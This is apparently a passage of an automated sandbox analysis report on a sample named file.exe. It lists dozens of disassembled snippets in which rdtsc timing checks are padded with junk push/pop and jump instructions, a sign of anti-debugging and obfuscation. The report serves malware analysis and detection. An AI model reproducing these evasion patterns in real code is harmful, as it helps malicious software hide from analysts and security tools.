Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA16C6 second address: BA16D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007FC3A8C83B36h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA186D second address: BA18A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FC3A8C81777h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push edi 0x0000000d pushad 0x0000000e jmp 00007FC3A8C81774h 0x00000013 jng 00007FC3A8C81766h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA587E second address: BA5883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5883 second address: BA5892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC3A8C81766h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5892 second address: BA5898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA903 second address: BAA907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA907 second address: BAA90B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAD4E second address: BAAD8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jbe 00007FC3A8C81766h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FC3A8C81775h 0x00000016 jmp 00007FC3A8C81774h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B574BC second address: B574C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB162 second address: BAB166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF4A3 second address: BAF4BA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC3A8C83B36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jbe 00007FC3A8C83B65h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF4BA second address: BAF4C4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC3A8C81766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2C98 second address: BB2CAC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC3A8C83B36h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FC3A8C83B3Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2CAC second address: BB2CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2CB6 second address: BB2CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2CCA second address: BB2CD0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9BB7 second address: BB9BC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007FC3A8C83B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9BC3 second address: BB9BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9BCB second address: BB9BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA112 second address: BBA138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C8176Ch 0x00000009 jmp 00007FC3A8C8176Ah 0x0000000e popad 0x0000000f jmp 00007FC3A8C8176Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA138 second address: BBA140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAE47 second address: BBAE4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB10C second address: BBB112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF810 second address: BBF81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC3A8C81766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF81A second address: BBF83D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B49h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF83D second address: BBF841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE9CB second address: BBE9E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE9E0 second address: BBE9E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE9E4 second address: BBE9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FC3A8C83B3Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE9F8 second address: BBEA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jnl 00007FC3A8C81766h 0x0000000b jo 00007FC3A8C81766h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEB6E second address: BBEB96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B40h 0x00000009 jmp 00007FC3A8C83B44h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF0D7 second address: BBF0DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF0DB second address: BBF0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF0E1 second address: BBF0F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C8176Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF0F0 second address: BBF0F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF25E second address: BBF262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF262 second address: BBF266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF266 second address: BBF26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF26C second address: BBF275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF398 second address: BBF39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF39E second address: BBF3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF527 second address: BBF52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF52B second address: BBF531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF531 second address: BBF537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB50D second address: BCB539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B44h 0x00000009 jmp 00007FC3A8C83B3Bh 0x0000000e popad 0x0000000f jo 00007FC3A8C83B3Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB664 second address: BCB678 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC3A8C8176Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB678 second address: BCB696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B48h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB951 second address: BCB955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB955 second address: BCB964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC3A8C83B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBAAC second address: BCBAF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Dh 0x00000007 jp 00007FC3A8C81766h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FC3A8C81774h 0x00000015 jbe 00007FC3A8C81766h 0x0000001b popad 0x0000001c pop edx 0x0000001d pushad 0x0000001e pushad 0x0000001f jmp 00007FC3A8C8176Dh 0x00000024 push edi 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBAF3 second address: BCBAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBAF9 second address: BCBB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FC3A8C81766h 0x0000000d jc 00007FC3A8C81766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD237 second address: BCD298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jp 00007FC3A8C83B36h 0x0000000d pop esi 0x0000000e jns 00007FC3A8C83B42h 0x00000014 push eax 0x00000015 jl 00007FC3A8C83B36h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pop eax 0x0000001e popad 0x0000001f pushad 0x00000020 jno 00007FC3A8C83B51h 0x00000026 je 00007FC3A8C83B3Eh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5FE6 second address: BD5FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5FEA second address: BD5FFF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC3A8C83B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jbe 00007FC3A8C83B36h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5FFF second address: BD6005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD6005 second address: BD600D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD600D second address: BD6012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5A66 second address: BD5A77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC3A8C83B3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5BA1 second address: BD5BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5BA5 second address: BD5BBA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC3A8C83B3Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5BBA second address: BD5BBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE30F2 second address: BE3110 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC3A8C83B44h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2B2D second address: BE2B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C81772h 0x00000009 popad 0x0000000a jmp 00007FC3A8C81775h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2B5D second address: BE2B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5119 second address: BF511D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF511D second address: BF512F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC3A8C83B3Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF512F second address: BF5139 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5139 second address: BF514D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC3A8C83B3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF514D second address: BF5153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5153 second address: BF516A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC3A8C83B3Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF8B1B second address: BF8B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF8B1F second address: BF8B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE5B2 second address: BFE5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE5BA second address: BFE5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FC3A8C83B36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFCF21 second address: BFCF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FC3A8C8176Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD4C2 second address: BFD4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD7A3 second address: BFD7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD7AF second address: BFD7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD92E second address: BFD938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FC3A8C81766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD938 second address: BFD93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10D01 second address: C10D06 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C12781 second address: C12785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C12785 second address: C1278F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C125EE second address: C125F8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC3A8C83B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C125F8 second address: C12602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC3A8C81766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0E30E second address: C0E312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F909 second address: C1F929 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007FC3A8C81766h 0x00000009 jmp 00007FC3A8C81773h 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C352F3 second address: C35326 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007FC3A8C83B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007FC3A8C83B3Ch 0x00000012 jnc 00007FC3A8C83B36h 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c jmp 00007FC3A8C83B47h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3545A second address: C35464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C358AA second address: C358B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FC3A8C83B38h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C358B7 second address: C358BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C358BC second address: C358CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jne 00007FC3A8C83B36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35B7E second address: C35BA2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FC3A8C81775h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35E4E second address: C35E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Ah 0x00000007 pushad 0x00000008 jo 00007FC3A8C83B36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35E63 second address: C35E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38A79 second address: C38A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38C6F second address: C38C75 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38D3A second address: C38D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BA6A second address: C3BA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC3A8C81768h 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602B8 second address: 4B602BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602BE second address: 4B602C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
